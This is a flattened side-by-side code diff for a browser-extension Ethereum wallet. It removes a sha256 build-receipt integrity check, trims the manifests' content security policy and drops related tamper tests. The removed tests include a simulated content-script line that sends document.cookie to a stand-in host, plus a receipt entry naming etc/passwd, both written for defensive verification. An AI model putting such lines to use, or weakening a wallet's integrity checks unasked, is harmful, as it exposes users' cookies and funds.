ConfirmTx → Sign & Send → WaitTx path now runs end to end to a broadcast, with
the `transfer()` amount decoded out of the raw signed bytes and asserted
against what the screen displayed, and a companion case where the contract
starts answering a different scale after the screen was built and nothing
reaches the RPC. Reverting only the signing-side comparison turns that second
case red and leaves the other 53 green.
- 2026-08-17: The Settings screen is driven in a browser, and every element id - 2026-08-17: The Settings screen is driven in a browser, and every element id
the popup looks up is checked statically. Nothing exercised Settings in the the popup looks up is checked statically. Nothing exercised Settings in the
e2e suite, and jest runs with no DOM, so the densest run of `$("...")` lookups e2e suite, and jest runs with no DOM, so the densest run of `$("...")` lookups

175
build.js
View File

@@ -1,6 +1,5 @@
const fs = require("fs"); const fs = require("fs");
const path = require("path"); const path = require("path");
const crypto = require("crypto");
const { execSync } = require("child_process"); const { execSync } = require("child_process");
const esbuild = require("esbuild"); const esbuild = require("esbuild");
@@ -9,29 +8,12 @@ const DIST_CHROME = path.join(DIST, "chrome");
const DIST_FIREFOX = path.join(DIST, "firefox"); const DIST_FIREFOX = path.join(DIST, "firefox");
const SRC = path.join(__dirname, "src"); const SRC = path.join(__dirname, "src");
// The module whose compiled DEBUG state script/verify-build asserts. Which // The module whose compiled DEBUG state script/verify-build asserts, and the
// bundles contain it is derived from esbuild's own dependency graph rather // manifest naming every emitted bundle that ends up containing it. The
// than from a hardcoded list, so it tracks the bundle layout instead of // manifest is derived from esbuild's own dependency graph rather than from a
// rotting with it. // hardcoded list, so it tracks the bundle layout instead of rotting with it.
const AUDITED_MODULE = "src/shared/constants.js"; const AUDITED_MODULE = "src/shared/constants.js";
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
// The build receipt: every file this build emits, with its sha256 and whether
// it is one of the audited bundles. script/verify-build is handed this and
// checks dist/ against it, so the file list comes from the build that just ran
// rather than being read back out of the tree it is supposed to vouch for.
//
// The path is supplied by the caller, not chosen here, and the Makefile makes
// a fresh one per invocation outside the repo: that is what ties a receipt to
// one build rather than leaving a standing file anyone can write.
const RECEIPT_HEADER = "autistmask-build-receipt v1";
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
// Every emitted path must be plainly nameable, because the receipt is a
// line-oriented text file consumed by a POSIX shell script and a path with a
// space or a newline in it could not be read back unambiguously. Nothing this
// build emits looks like that; if that ever changes, the build fails here
// rather than writing a receipt that cannot be checked.
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
function ensureDir(dir) { function ensureDir(dir) {
fs.mkdirSync(dir, { recursive: true }); fs.mkdirSync(dir, { recursive: true });
@@ -49,10 +31,10 @@ function repoRelative(p) {
// searching the minified text, it does not depend on what survived minification. // searching the minified text, it does not depend on what survived minification.
// //
// The ".js" filter below is the only place that assumption lives: // The ".js" filter below is the only place that assumption lives:
// script/verify-build reads every file the receipt names, whatever its // script/verify-build searches every file and symlink under dist/ for a
// extension, and fails on any that carries a debug marker without being // marker, without filtering by extension, and hard-fails if it cannot walk the
// recorded as an audited bundle — so a bundle emitted under some other // whole tree, so a bundle emitted under some other extension fails there as
// extension fails there rather than escaping both checks at once. // unlisted rather than escaping both checks at once.
function outputsContainingAuditedModule(metafile) { function outputsContainingAuditedModule(metafile) {
return Object.entries(metafile.outputs) return Object.entries(metafile.outputs)
.filter(([outFile, info]) => { .filter(([outFile, info]) => {
@@ -64,94 +46,6 @@ function outputsContainingAuditedModule(metafile) {
.map(([outFile]) => repoRelative(outFile)); .map(([outFile]) => repoRelative(outFile));
} }
// Every file this build writes under dist/, recorded as it is written. This is
// the build's own account of what it emitted; it is never recovered by
// listing dist/, because a file that is in dist/ without this build having put
// it there is exactly what the receipt exists to expose.
const emittedFiles = [];
function recordEmitted(absPath) {
emittedFiles.push(absPath);
}
// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
// CLI record their outputs where they are invoked.
function copyEmitted(src, dest) {
fs.copyFileSync(src, dest);
recordEmitted(dest);
}
function sha256File(absPath) {
return crypto
.createHash("sha256")
.update(fs.readFileSync(absPath))
.digest("hex");
}
// Write the receipt for the files this build emitted. Deliberately records no
// build mode: which mode was asked for is script/verify-build's argument, so
// build.js cannot vouch for build.js. All the receipt says is "these bytes,
// under these names, are what I wrote, and these ones bundle constants.js".
function writeReceipt(receiptPath, auditedBundles) {
const audited = new Set(auditedBundles);
const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
for (const p of paths) {
if (!SAFE_EMITTED_PATH.test(p)) {
throw new Error(
`emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
);
}
}
// A bundle esbuild reported but that nothing recorded as emitted means the
// two halves have drifted apart, and the receipt would then leave an
// audited bundle out. Fail rather than emit a short receipt.
for (const bundle of audited) {
if (!paths.includes(bundle)) {
throw new Error(
`${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
);
}
}
if (audited.size === 0) {
throw new Error(
`no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
);
}
const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
for (const p of paths) {
const flag = audited.has(p) ? "A" : "P";
lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
}
fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
console.log(
`Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
`containing ${AUDITED_MODULE} (${receiptPath})`,
);
}
// Where the receipt goes, decided before anything is emitted so a build that
// cannot produce a checkable receipt fails before it writes any artifacts.
// Inside dist/ is refused: a receipt that lives in the tree it describes can
// be rewritten by whoever rewrites the tree, which is the hole this replaces.
function receiptTarget() {
const requested = process.env[RECEIPT_ENV];
if (!requested) {
return null;
}
const resolved = path.resolve(requested);
if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
throw new Error(
`${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
`describes dist/ and must not live in it.`,
);
}
return resolved;
}
// DEBUG is a build-time flag, off unless explicitly requested. It is the only // DEBUG is a build-time flag, off unless explicitly requested. It is the only
// thing that makes the hardcoded test mnemonic reachable, so the opt-in must be // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
// exact: anything other than the literal "1" (unset, empty, "true", a typo) // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -193,15 +87,6 @@ function getBuildInfo() {
async function build() { async function build() {
console.log("Building AutistMask extension..."); console.log("Building AutistMask extension...");
const receiptPath = receiptTarget();
if (!receiptPath) {
console.warn(
`WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
`receipt and script/verify-build cannot verify what it ` +
`emitted. Build through make build / make build-debug.`,
);
}
const buildInfo = getBuildInfo(); const buildInfo = getBuildInfo();
console.log("Build info:", buildInfo); console.log("Build info:", buildInfo);
@@ -223,21 +108,19 @@ async function build() {
}; };
// Emitted bundles that contain constants.js, accumulated across every // Emitted bundles that contain constants.js, accumulated across every
// esbuild run below and recorded in the receipt for script/verify-build. // esbuild run below and written out for script/verify-build.
const auditedBundles = []; const auditedBundles = [];
// compile tailwind CSS // compile tailwind CSS
console.log("Compiling Tailwind CSS..."); console.log("Compiling Tailwind CSS...");
const tailwindInput = path.join(SRC, "popup", "styles", "main.css"); const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
const tailwindOutput = path.join(DIST, "styles.css"); const tailwindOutput = path.join(DIST, "styles.css");
// Start from an empty dist/, so what is there afterwards is what this
// build put there and nothing else. Leftovers from an earlier build are
// not covered by this build's receipt, and script/verify-build rejects
// any file it did not emit rather than ignoring it.
fs.rmSync(DIST, { recursive: true, force: true });
ensureDir(DIST); ensureDir(DIST);
// Drop any manifest from a previous build before emitting anything, so a
// build that never gets around to writing one cannot be verified against
// a stale list.
fs.rmSync(BUNDLE_MANIFEST, { force: true });
// The locally installed binary, not `npx` — npx silently fetches from the // The locally installed binary, not `npx` — npx silently fetches from the
// registry when the binary is absent, which is an unpinned network fetch // registry when the binary is absent, which is an unpinned network fetch
// in the middle of a build. // in the middle of a build.
@@ -251,7 +134,6 @@ async function build() {
`"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`, `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
{ stdio: "inherit" }, { stdio: "inherit" },
); );
recordEmitted(tailwindOutput);
// Every bundle goes through here, so metafile collection cannot be // Every bundle goes through here, so metafile collection cannot be
// forgotten when a new entry point is added. // forgotten when a new entry point is added.
@@ -267,7 +149,6 @@ async function build() {
metafile: true, metafile: true,
define, define,
}); });
recordEmitted(outfile);
auditedBundles.push(...outputsContainingAuditedModule(result.metafile)); auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
} }
@@ -301,39 +182,39 @@ async function build() {
); );
// copy popup HTML // copy popup HTML
copyEmitted( fs.copyFileSync(
path.join(SRC, "popup", "index.html"), path.join(SRC, "popup", "index.html"),
path.join(distDir, "src", "popup", "index.html"), path.join(distDir, "src", "popup", "index.html"),
); );
// place compiled CSS next to popup HTML // place compiled CSS next to popup HTML
copyEmitted( fs.copyFileSync(
tailwindOutput, tailwindOutput,
path.join(distDir, "src", "popup", "styles.css"), path.join(distDir, "src", "popup", "styles.css"),
); );
} }
// copy manifests // copy manifests
copyEmitted( fs.copyFileSync(
path.join(__dirname, "manifest", "chrome.json"), path.join(__dirname, "manifest", "chrome.json"),
path.join(DIST_CHROME, "manifest.json"), path.join(DIST_CHROME, "manifest.json"),
); );
copyEmitted( fs.copyFileSync(
path.join(__dirname, "manifest", "firefox.json"), path.join(__dirname, "manifest", "firefox.json"),
path.join(DIST_FIREFOX, "manifest.json"), path.join(DIST_FIREFOX, "manifest.json"),
); );
// Written last so a build that died partway through leaves no receipt at // Written last so a build that died partway through leaves no manifest
// all, which script/verify-build treats as a hard failure rather than as // at all, which script/verify-build treats as a hard failure rather than
// "nothing to check". // as "nothing to check".
if (receiptPath) { const manifest = [...new Set(auditedBundles)].sort();
writeReceipt(receiptPath, auditedBundles); fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
} console.log(
`Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
`(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
);
console.log("Build complete: dist/chrome/ and dist/firefox/"); console.log("Build complete: dist/chrome/ and dist/firefox/");
} }
build().catch((err) => { build();
console.error(`Build failed: ${err && err.message ? err.message : err}`);
process.exit(1);
});

View File

@@ -6,7 +6,7 @@
"permissions": ["storage", "activeTab", "alarms"], "permissions": ["storage", "activeTab", "alarms"],
"host_permissions": ["<all_urls>"], "host_permissions": ["<all_urls>"],
"content_security_policy": { "content_security_policy": {
"extension_pages": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'" "extension_pages": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'"
}, },
"action": { "action": {
"default_popup": "src/popup/index.html" "default_popup": "src/popup/index.html"

View File

@@ -4,7 +4,7 @@
"version": "0.1.0", "version": "0.1.0",
"description": "Minimal Ethereum wallet for Firefox", "description": "Minimal Ethereum wallet for Firefox",
"permissions": ["storage", "activeTab", "alarms", "<all_urls>"], "permissions": ["storage", "activeTab", "alarms", "<all_urls>"],
"content_security_policy": "default-src 'self'; script-src 'self' 'wasm-unsafe-eval'; object-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; connect-src 'self' https: http:; frame-src 'none'; form-action 'none'; base-uri 'none'", "content_security_policy": "script-src 'self' 'wasm-unsafe-eval'; object-src 'self'",
"browser_action": { "browser_action": {
"default_popup": "src/popup/index.html" "default_popup": "src/popup/index.html"
}, },

View File

@@ -3,13 +3,11 @@
# script/verify-build. Our own extension to scripts-to-rule-them-all, run # script/verify-build. Our own extension to scripts-to-rule-them-all, run
# from script/check so make check covers it. # from script/check so make check covers it.
# #
# Why this exists: verify-build is the build-integrity guard, and four separate # Why this exists: verify-build is the build-integrity guard, and three
# reviews of it each found a fresh vacuous pass — the grep exit-2 conflation, # separate reviews of it each found a fresh vacuous pass — the grep exit-2
# the discarded find status, the line-delimited walk, and then the two the # conflation, the discarded find status, the line-delimited walk. Every one
# receipt replaced: an expectation read out of the verifier's own environment, # was caught by someone building a tree by hand, because nothing in make check
# and a file list read back out of the tree it was supposed to vouch for. Every # could catch it. This is that hand battery, committed and automated.
# one was caught by someone building a tree by hand, because nothing in make
# check could catch it. This is that hand battery, committed and automated.
# #
# Each case asserts the exit status AND a substring of the message. A guard # Each case asserts the exit status AND a substring of the message. A guard
# that fails for the wrong reason (right status, different fault) is itself a # that fails for the wrong reason (right status, different fault) is itself a
@@ -19,14 +17,7 @@
# the real script: verify-build takes its ROOT from dirname "$0"/.., so it # the real script: verify-build takes its ROOT from dirname "$0"/.., so it
# operates on the fixture's dist/ and never reads or writes the repo's build # operates on the fixture's dist/ and never reads or writes the repo's build
# output. The symlink rather than a copy is what makes a deliberate break in # output. The symlink rather than a copy is what makes a deliberate break in
# the real script fail here. The fixture's receipt is written from the bytes # the real script fail here.
# the fixture actually holds, exactly as a build writes one from the bytes it
# emitted; a case that means "the build emitted this" regenerates it, and a
# case that means "something changed dist/ afterwards" does not.
#
# The sha256 command is selected here independently of the one verify-build
# picks. That is deliberate: a harness that reused the implementation's helper
# would agree with it even when it is wrong.
set -eu set -eu
ROOT="$(cd "$(dirname "$0")/.." && pwd -P)" ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
@@ -35,8 +26,6 @@ VERIFY_BUILD="$ROOT/script/verify-build"
MARKER_ON="autistmask-build-debug=on" MARKER_ON="autistmask-build-debug=on"
MARKER_OFF="autistmask-build-debug=off" MARKER_OFF="autistmask-build-debug=off"
RECEIPT_HEADER="autistmask-build-receipt v1"
NEWLINE=' NEWLINE='
' '
@@ -52,9 +41,6 @@ UNPRIV=""
PERM_ENABLED=no PERM_ENABLED=no
PERM_HOW="" PERM_HOW=""
# The sha256 command, chosen by pick_sha256_tool.
SHA256_CMD=""
WORK="" WORK=""
cleanup() { cleanup() {
@@ -68,10 +54,6 @@ trap cleanup EXIT INT TERM
WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")" WORK="$(mktemp -d "${TMPDIR:-/tmp}/autistmask-test-verify-build.XXXXXX")"
FIXTURE="$WORK/fixture" FIXTURE="$WORK/fixture"
# The build receipt for the fixture, kept outside the fixture's dist/ — and
# outside the fixture altogether — because that is where a real one lives.
RECEIPT="$WORK/receipt"
# verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside # verify-build mktemps its dist/ listing under TMPDIR. Pointing that inside
# our work dir keeps the run leaving no residue, and keeps it writable for the # our work dir keeps the run leaving no residue, and keeps it writable for the
# unprivileged user the permission cases run as. # unprivileged user the permission cases run as.
@@ -83,67 +65,15 @@ chmod 755 "$WORK"
# --- fixture --------------------------------------------------------------- # --- fixture ---------------------------------------------------------------
# The emitted tree a build of this repo produces in miniature: audited bundles
# (A) that must carry a marker, and plain emitted files (P) that must not —
# including the content script, which runs on every page, and the manifest,
# neither of which the pre-receipt verifier read at all.
FIXTURE_FILES="A dist/chrome/src/popup/index.js
A dist/firefox/src/popup/index.js
P dist/chrome/src/content/index.js
P dist/chrome/manifest.json
P dist/styles.css"
FIXTURE_REAL=""
# A stand-in for an emitted bundle: some text plus one marker literal, which # A stand-in for an emitted bundle: some text plus one marker literal, which
# is all verify-build reads out of the real thing beyond its digest. # is all verify-build reads out of the real thing.
write_bundle() { write_bundle() {
printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1" printf 'var a=1;/* %s */\nvar b=2;\n' "$2" >"$1"
} }
# Digest of $1, taken with the harness's own sha256 command. # A dist/ shaped like a real build: two listed bundles under different
fixture_sha256() { # browsers, an unlisted subtree to make unwalkable, and unlisted files that
# Word-split on purpose: SHA256_CMD is a command with its arguments. # carry no marker and must not be objected to.
# shellcheck disable=SC2086
_fs_out="$($SHA256_CMD "$1")"
printf '%s' "${_fs_out%% *}"
}
# Write the fixture's receipt, with a substitutable header and root line so the
# cases can hand verify-build a receipt that is not one.
write_receipt_custom() {
_wrc_header="$1"
_wrc_root="$2"
chmod u+rw "$RECEIPT" 2>/dev/null || true
rm -f "$RECEIPT"
(
cd "$FIXTURE"
printf '%s\n' "$_wrc_header"
printf 'root %s\n' "$_wrc_root"
_saved_ifs="$IFS"
IFS="$NEWLINE"
for _entry in $FIXTURE_FILES; do
IFS="$_saved_ifs"
_flag="${_entry%% *}"
_path="${_entry#* }"
printf 'file %s %s %s\n' "$(fixture_sha256 "$_path")" \
"$_flag" "$_path"
IFS="$NEWLINE"
done
IFS="$_saved_ifs"
) >"$RECEIPT"
# Readable by the unprivileged user the permission cases run as, whatever
# umask this process has, until a case takes that away on purpose.
chmod 644 "$RECEIPT"
}
write_receipt() {
write_receipt_custom "$RECEIPT_HEADER" "$FIXTURE_REAL"
}
build_fixture() { build_fixture() {
chmod -R u+rwX "$FIXTURE" 2>/dev/null || true chmod -R u+rwX "$FIXTURE" 2>/dev/null || true
rm -rf "$FIXTURE" rm -rf "$FIXTURE"
@@ -157,12 +87,13 @@ build_fixture() {
write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/chrome/src/popup/index.js" "$MARKER_OFF"
write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF" write_bundle "$FIXTURE/dist/firefox/src/popup/index.js" "$MARKER_OFF"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/index.js"
printf '{"manifest_version":3}\n' >"$FIXTURE/dist/chrome/manifest.json"
printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css" printf 'body{color:#000}\n' >"$FIXTURE/dist/styles.css"
printf 'var c=3;\n' >"$FIXTURE/dist/chrome/src/content/content.js"
FIXTURE_REAL="$(cd "$FIXTURE" && pwd -P)" {
write_receipt echo "dist/chrome/src/popup/index.js"
echo "dist/firefox/src/popup/index.js"
} >"$FIXTURE/dist/constants-bundles.txt"
# Readable and traversable by the unprivileged user the permission cases # Readable and traversable by the unprivileged user the permission cases
# run as, before those cases take that away again on purpose. # run as, before those cases take that away again on purpose.
@@ -254,51 +185,7 @@ runuser|runuser -u nobody --"
# --- case runner ------------------------------------------------------------ # --- case runner ------------------------------------------------------------
# How verify-build is invoked for a case. The arguments are literal here rather # check_case <name> <perm:yes|no> <mode:release|debug> <status> <text> <setup>
# than assembled from a string, so nothing about a case's invocation depends on
# word splitting. "envdebug" variants export AUTISTMASK_DEBUG=1 to prove the
# verifier ignores it — that is the whole of the ambient-environment defect.
run_verify() {
_rv_variant="$1"
_rv_perm="$2"
_rv_bin="$FIXTURE/script/verify-build"
case "$_rv_variant" in
release | release-envdebug)
set -- --expect release --receipt "$RECEIPT"
;;
debug)
set -- --expect debug --receipt "$RECEIPT"
;;
no-expect)
set -- --receipt "$RECEIPT"
;;
no-receipt)
set -- --expect release
;;
bad-expect)
set -- --expect maybe --receipt "$RECEIPT"
;;
unknown-arg)
set -- --expect release --receipt "$RECEIPT" --force
;;
receipt-in-dist)
set -- --expect release --receipt "$FIXTURE/dist/receipt.txt"
;;
*)
echo "test-verify-build: unknown variant $_rv_variant" >&2
exit 1
;;
esac
if [ "$_rv_perm" = yes ]; then
run_unpriv "$_rv_bin" "$@"
else
"$_rv_bin" "$@"
fi
}
# check_case <name> <perm:yes|no> <variant> <status> <text> <setup>
# #
# Rebuilds the fixture, applies <setup> inside it, runs verify-build, and # Rebuilds the fixture, applies <setup> inside it, runs verify-build, and
# requires both the exit status and the message. <perm> marks a case that only # requires both the exit status and the message. <perm> marks a case that only
@@ -306,7 +193,7 @@ run_verify() {
check_case() { check_case() {
_name="$1" _name="$1"
_perm="$2" _perm="$2"
_variant="$3" _mode="$3"
_want_status="$4" _want_status="$4"
_want_text="$5" _want_text="$5"
_setup="$6" _setup="$6"
@@ -326,22 +213,23 @@ check_case() {
return 0 return 0
fi fi
# Exported rather than set as a command prefix: run_verify may go through if [ "$_mode" = debug ]; then
# run_unpriv, which is a function, and an assignment prefixed to a function _debug=1
# call is not portable. Every other case unsets it, so the environment this else
# harness happens to run in cannot decide anything. _debug=""
case "$_variant" in fi
*envdebug)
AUTISTMASK_DEBUG=1 # Exported rather than set as a command prefix: run_unpriv is a function,
# and an assignment prefixed to a function call is not portable.
AUTISTMASK_DEBUG="$_debug"
export AUTISTMASK_DEBUG export AUTISTMASK_DEBUG
;;
*)
unset AUTISTMASK_DEBUG || true
;;
esac
_status=0 _status=0
_out="$(run_verify "$_variant" "$_perm" 2>&1)" || _status=$? if [ "$_perm" = yes ]; then
_out="$(run_unpriv "$FIXTURE/script/verify-build" 2>&1)" || _status=$?
else
_out="$("$FIXTURE/script/verify-build" 2>&1)" || _status=$?
fi
_ok=yes _ok=yes
_why="" _why=""
@@ -384,9 +272,7 @@ check_case() {
# --- cases ------------------------------------------------------------------ # --- cases ------------------------------------------------------------------
# #
# Each runs with the fixture as its working directory. A case that regenerates # Each runs with the fixture as its working directory.
# the receipt is saying "this is what the build emitted"; one that does not is
# saying "the build emitted something else and this happened afterwards".
c_control() { :; } c_control() { :; }
@@ -413,233 +299,38 @@ c_dir_symlink() { ln -s src dist/chrome/link-to-dir; }
c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; } c_alias_symlink() { ln -s popup/index.js dist/chrome/src/aliased.js; }
c_receipt_missing() { rm "$RECEIPT"; } c_manifest_missing() { rm dist/constants-bundles.txt; }
c_receipt_empty() { : >"$RECEIPT"; } c_manifest_empty() { : >dist/constants-bundles.txt; }
c_receipt_unreadable() { chmod 000 "$RECEIPT"; } c_manifest_unreadable() { chmod 000 dist/constants-bundles.txt; }
c_receipt_bad_header() { c_bundle_missing() { rm dist/chrome/src/popup/index.js; }
write_receipt_custom "some other file entirely" "$FIXTURE_REAL"
}
c_receipt_other_tree() { c_bundle_empty() { : >dist/chrome/src/popup/index.js; }
write_receipt_custom "$RECEIPT_HEADER" "/some/other/checkout"
}
c_receipt_path_with_space() { c_bundle_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
write_receipt
printf 'file %s P dist/two words.js\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_path_outside_dist() { c_unlisted_extension() {
write_receipt
printf 'file %s P etc/passwd\n' \
"0000000000000000000000000000000000000000000000000000000000000000" \
>>"$RECEIPT"
}
c_receipt_in_dist() { cp "$RECEIPT" dist/receipt.txt; }
c_emitted_missing() { rm dist/chrome/src/popup/index.js; }
c_emitted_empty() { : >dist/chrome/src/popup/index.js; }
c_emitted_unreadable() { chmod 000 dist/chrome/src/popup/index.js; }
c_extra_file_with_marker() {
cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs cp dist/chrome/src/popup/index.js dist/chrome/src/popup/extra.mjs
} }
c_extra_file_no_marker() { c_no_marker() { printf 'var d=4;\n' >dist/chrome/src/popup/index.js; }
printf 'var e=5;\n' >dist/chrome/src/popup/vendor.js
}
# The four demonstrated bypasses of the pre-receipt verifier.
# A 26-byte file whose entire content is the marker string used to verify ok.
c_marker_only_stub() {
printf '%s' "$MARKER_OFF" >dist/chrome/src/popup/index.js
}
# The content script runs on every page the browser loads and was never read.
c_tampered_content_script() {
printf 'fetch("https://example.invalid/"+document.cookie);\n' \
>>dist/chrome/src/content/index.js
}
# The manifest decides permissions and CSP and was never read either.
c_tampered_manifest() {
printf '{"manifest_version":3,"host_permissions":["<all_urls>"]}\n' \
>dist/chrome/manifest.json
}
# A dist/ that has nothing to do with this build, carrying the right file
# names and the right marker, offered against this build's receipt.
c_foreign_dist() {
rm -rf dist
mkdir -p dist/chrome/src/popup dist/chrome/src/content dist/firefox/src/popup
write_bundle dist/chrome/src/popup/index.js "$MARKER_OFF"
write_bundle dist/firefox/src/popup/index.js "$MARKER_OFF"
printf 'var hostile=1;\n' >dist/chrome/src/content/index.js
printf '{"manifest_version":3}\n' >dist/chrome/manifest.json
printf 'body{color:#fff}\n' >dist/styles.css
}
# Cases that state what the build itself emitted, and so regenerate the
# receipt over the changed bytes.
c_no_marker() {
printf 'var d=4;\n' >dist/chrome/src/popup/index.js
write_receipt
}
c_both_markers() { c_both_markers() {
printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js printf '/* %s */\n' "$MARKER_ON" >>dist/chrome/src/popup/index.js
write_receipt
}
c_marker_on_plain_file() {
printf 'var c=3;/* %s */\n' "$MARKER_OFF" \
>dist/chrome/src/content/index.js
write_receipt
}
c_debug_build() {
write_bundle dist/chrome/src/popup/index.js "$MARKER_ON"
write_bundle dist/firefox/src/popup/index.js "$MARKER_ON"
write_receipt
}
# --- Makefile wiring --------------------------------------------------------
# The verifier cases above prove what verify-build does when it is told what to
# expect. This proves the Makefile tells it — with the mode as an argument, on
# a scrubbed environment, and identically whether or not AUTISTMASK_DEBUG is
# exported in the shell that ran make. Read off `make -n`, so no build runs.
check_makefile_wiring() {
if ! command -v make >/dev/null 2>&1; then
SKIPPED=$((SKIPPED + 1))
SKIPPED_NAMES="$SKIPPED_NAMES## - Makefile wiring (make not found)$NEWLINE"
echo " SKIP (make not found): Makefile wiring"
return 0
fi
# make build must ask for release, and must scrub the flag from the
# verifier's environment, even when the caller has it exported.
_wiring_case "make build passes --expect release" \
build "verify-build --expect release"
_wiring_case "make build scrubs AUTISTMASK_DEBUG for the verifier" \
build "env -u AUTISTMASK_DEBUG"
_wiring_case "make build-debug passes --expect debug" \
build-debug "verify-build --expect debug"
_wiring_case "make build-debug scrubs AUTISTMASK_DEBUG for the verifier" \
build-debug "env -u AUTISTMASK_DEBUG"
}
_wiring_case() {
_wc_name="$1"
_wc_target="$2"
_wc_want="$3"
AUTISTMASK_DEBUG=1
export AUTISTMASK_DEBUG
_wc_status=0
_wc_out="$(cd "$ROOT" && make -n "$_wc_target" 2>&1)" || _wc_status=$?
unset AUTISTMASK_DEBUG
if [ "$_wc_status" -ne 0 ]; then
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target exited $_wc_status"
return 0
fi
_wc_g=0
printf '%s\n' "$_wc_out" | grep -q -F -e "$_wc_want" || _wc_g=$?
case "$_wc_g" in
0)
PASSED=$((PASSED + 1))
echo " ok: $_wc_name"
;;
1)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " make -n $_wc_target does not run: $_wc_want"
;;
*)
FAILED=$((FAILED + 1))
echo " FAIL: $_wc_name"
echo " grep exited $_wc_g, so the recipe was never checked"
;;
esac
} }
run_cases() { run_cases() {
check_case "control: untouched dist passes" \ check_case "control: untouched dist passes" \
no release 0 "2 bundle(s) $MARKER_OFF" c_control no release 0 "2 bundle(s) verified $MARKER_OFF" c_control
check_case "AUTISTMASK_DEBUG=1 in the environment does not decide the mode" \ check_case "unlisted marker-carrying file, trailing space in name" \
no release-envdebug 0 "2 bundle(s) $MARKER_OFF" c_control no release 1 "carries a debug marker but is absent from" \
check_case "debug bundles under --expect release fail (make build with
AUTISTMASK_DEBUG=1 exported)" \
no release-envdebug 1 \
"is $MARKER_ON but this build was told to expect" c_debug_build
check_case "debug bundles under --expect debug pass" \
no debug 0 "2 bundle(s) $MARKER_ON" c_debug_build
check_case "no --expect argument" \
no no-expect 1 "no --expect argument." c_control
check_case "no --receipt argument" \
no no-receipt 1 "no --receipt argument." c_control
check_case "--expect takes release or debug" \
no bad-expect 1 "--expect takes release or debug" c_control
check_case "unknown argument" \
no unknown-arg 1 "unknown argument: --force" c_control
check_case "receipt inside the tree it describes" \
no receipt-in-dist 1 "the receipt is inside dist/" c_receipt_in_dist
check_case "bundle replaced by a file containing only the marker" \
no release 1 "does not contain the bytes this build emitted" \
c_marker_only_stub
check_case "content script tampered with after the build" \
no release 1 \
"dist/chrome/src/content/index.js does not contain the bytes" \
c_tampered_content_script
check_case "manifest.json tampered with after the build" \
no release 1 "dist/chrome/manifest.json does not contain the bytes" \
c_tampered_manifest
check_case "hand-written dist/ offered against this build's receipt" \
no release 1 "does not contain the bytes this build emitted" \
c_foreign_dist
check_case "extra file under dist/ carrying a marker" \
no release 1 \
"dist/chrome/src/popup/extra.mjs is under dist/ but the build" \
c_extra_file_with_marker
check_case "extra file under dist/ carrying no marker" \
no release 1 \
"dist/chrome/src/popup/vendor.js is under dist/ but the build" \
c_extra_file_no_marker
check_case "extra file, trailing space in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \
c_trailing_space c_trailing_space
check_case "extra file, newline in name" \ check_case "unlisted marker-carrying file, newline in name" \
no release 1 "is under dist/ but the build that just ran did not emit" \ no release 1 "carries a debug marker but is absent from" \
c_embedded_newline c_embedded_newline
check_case "dist/ replaced by a symlink" \ check_case "dist/ replaced by a symlink" \
@@ -651,88 +342,64 @@ run_cases() {
check_case "dangling symlink under dist/" \ check_case "dangling symlink under dist/" \
no release 1 \ no release 1 \
"dist/chrome/dangling.js is a symlink under dist/" c_dangling_symlink "reading dist/chrome/dangling.js, so the file could not be" \
c_dangling_symlink
check_case "symlink to a directory under dist/" \ check_case "symlink to a directory under dist/" \
no release 1 \ no release 1 \
"dist/chrome/link-to-dir is a symlink under dist/" c_dir_symlink "reading dist/chrome/link-to-dir, so the file could not be" \
c_dir_symlink
check_case "symlink aliasing an emitted bundle under another path" \ check_case "symlink to a listed bundle under an unlisted path" \
no release 1 \ no release 1 \
"dist/chrome/src/aliased.js is a symlink under dist/" c_alias_symlink "dist/chrome/src/aliased.js carries a debug marker but is absent" \
c_alias_symlink
check_case "receipt missing" \ check_case "manifest missing" \
